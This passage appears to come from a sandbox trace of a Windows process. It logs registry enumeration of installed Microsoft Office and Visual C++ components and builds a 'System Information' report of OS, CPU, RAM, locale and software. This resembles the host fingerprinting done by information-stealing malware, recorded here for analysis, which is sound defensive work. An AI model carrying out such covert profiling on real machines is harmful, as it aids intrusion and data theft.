MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.833] lstrlenW (lpString="\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n") returned 56 [0261.833] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n") returned 1825 [0261.833] LocalAlloc (uFlags=0x40, uBytes=0xfb2) returned 0x6f5658 [0261.834] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.834] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.835] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.835] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.836] LocalFree (hMem=0x6bec00) returned 0x0 [0261.836] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.836] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1f, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0019-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.836] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0019-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.836] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.836] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.836] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Publisher MUI (English) 2016", lpcbData=0x24fac4*=0x4e) returned 0x0 [0261.836] LocalAlloc (uFlags=0x40, uBytes=0x209c) returned 0x6f35b0 [0261.836] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.836] StrStrW (lpFirst="Microsoft Publisher MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.837] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n") returned 55 [0261.837] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.837] lstrlenW (lpString="\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n") returned 55 [0261.837] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n") returned 1881 [0261.837] LocalAlloc (uFlags=0x40, uBytes=0x1020) returned 0x6e5058 [0261.838] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.838] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.838] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.838] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.839] LocalFree (hMem=0x6bec00) returned 0x0 [0261.839] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.839] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x20, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001A-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.839] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-001A-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.839] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.839] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.839] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Outlook MUI (English) 2016", lpcbData=0x24fac4*=0x4a) returned 0x0 [0261.839] LocalAlloc (uFlags=0x40, uBytes=0x2094) returned 0x6f35b0 [0261.839] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.839] StrStrW (lpFirst="Microsoft Outlook MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.839] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n") returned 53 [0261.839] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.840] lstrlenW (lpString="\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n") returned 53 [0261.840] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n") returned 1936 [0261.840] LocalAlloc (uFlags=0x40, uBytes=0x108a) returned 0x6f5650 [0261.840] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.841] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.842] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.842] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.843] LocalFree (hMem=0x6bec00) returned 0x0 [0261.843] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.843] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x21, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001B-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.843] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-001B-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.843] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.843] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.843] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Word MUI (English) 2016", lpcbData=0x24fac4*=0x44) returned 0x0 [0261.843] LocalAlloc (uFlags=0x40, uBytes=0x2088) returned 0x6f35b0 [0261.843] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.843] StrStrW (lpFirst="Microsoft Word MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.843] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n") returned 50 [0261.843] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.844] lstrlenW (lpString="\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n") returned 50 [0261.844] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n") returned 1989 [0261.844] LocalAlloc (uFlags=0x40, uBytes=0x10ee) returned 0x6e5058 [0261.845] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.845] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.845] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.845] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.846] LocalFree (hMem=0x6bec00) returned 0x0 [0261.846] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.846] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x22, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001F-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.846] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-001F-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.846] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.846] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.848] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Proofing Tools 2016 - English", lpcbData=0x24fac4*=0x5e) returned 0x0 [0261.848] LocalAlloc (uFlags=0x40, uBytes=0x20bc) returned 0x6f35b0 [0261.848] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.848] StrStrW (lpFirst="Microsoft Office Proofing Tools 2016 - English", lpSrch="16.0.4266.1001") returned 0x0 [0261.848] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n") returned 63 [0261.848] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n") returned 0x0 [0261.848] lstrlenW (lpString="\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n") returned 63 [0261.848] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 